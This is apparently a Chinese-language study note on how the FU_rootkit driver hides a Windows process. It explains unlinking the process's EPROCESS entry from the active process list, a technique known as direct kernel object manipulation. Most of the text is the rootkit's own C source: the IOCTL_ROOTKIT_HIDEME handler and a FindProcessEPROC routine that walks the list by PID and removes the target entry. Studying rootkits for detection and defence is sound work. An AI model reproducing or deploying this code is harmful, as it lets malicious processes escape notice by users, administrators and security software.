用驱动隐藏进程

FU_rootkit中有很多功能，先看了隐藏进程,,和以前在群里讨论的一样,windows调度的是线程,所以可以把要隐藏的进程从进程链中去掉,并不影响进程中的线程的调度和运行. FU_rootkit中的方法是先通过PsGetCurrentProcess(),(PsGetCurrentProcess returns a pointer to the process of the current thread.)得到当前进程的EPROCESS结构的指针,然后通过_LIST_ENTRY ActiveProcessLinks;在EPROCESS中的偏移遍历各个进程EPROCESS,找到pid符合的,就从链表中去掉 case IOCTL_ROOTKIT_HIDEME: if ((InputBufferLength < sizeof(DWORD)) || (InputBuffer == NULL)) { IoStatus->Status = STATUS_INVALID_BUFFER_SIZE; break; } find_PID = *((DWORD *)InputBuffer); if (find_PID == 0x00000000) { IoStatus->Status = STATUS_INVALID_PARAMETER; break; } eproc = FindProcessEPROC(find_PID); if (eproc == 0x00000000) { IoStatus->Status = STATUS_INVALID_PARAMETER; break; } plist_active_procs = (LIST_ENTRY *) (eproc+FLINKOFFSET); *((DWORD *)plist_active_procs->Blink) = (DWORD) plist_active_procs->Flink; *((DWORD *)plist_active_procs->Flink+1) = (DWORD) plist_active_procs->Blink; break; ////////////////////////////////////////////////////////////////////////////// // This function was originally written mostly in assembly language. Now let's // make it readable to the masses. DWORD FindProcessEPROC (int terminate_PID) { DWORD eproc = 0x00000000; int current_PID = 0; int start_PID = 0; int i_count = 0; PLIST_ENTRY plist_active_procs; if (terminate_PID == 0) return terminate_PID; eproc = (DWORD) PsGetCurrentProcess(); start_PID = *((DWORD*)(eproc+PIDOFFSET)); current_PID = start_PID; while(1) { if(terminate_PID == current_PID) return eproc; else if((i_count >= 1) && (start_PID == current_PID)) { return 0x00000000; } else { plist_active_procs = (LIST_ENTRY *) (eproc+FLINKOFFSET); eproc = (DWORD) plist_active_procs->Flink; eproc = eproc - FLINKOFFSET; current_PID = *((int *)(eproc+PIDOFFSET)); i_count++; } } }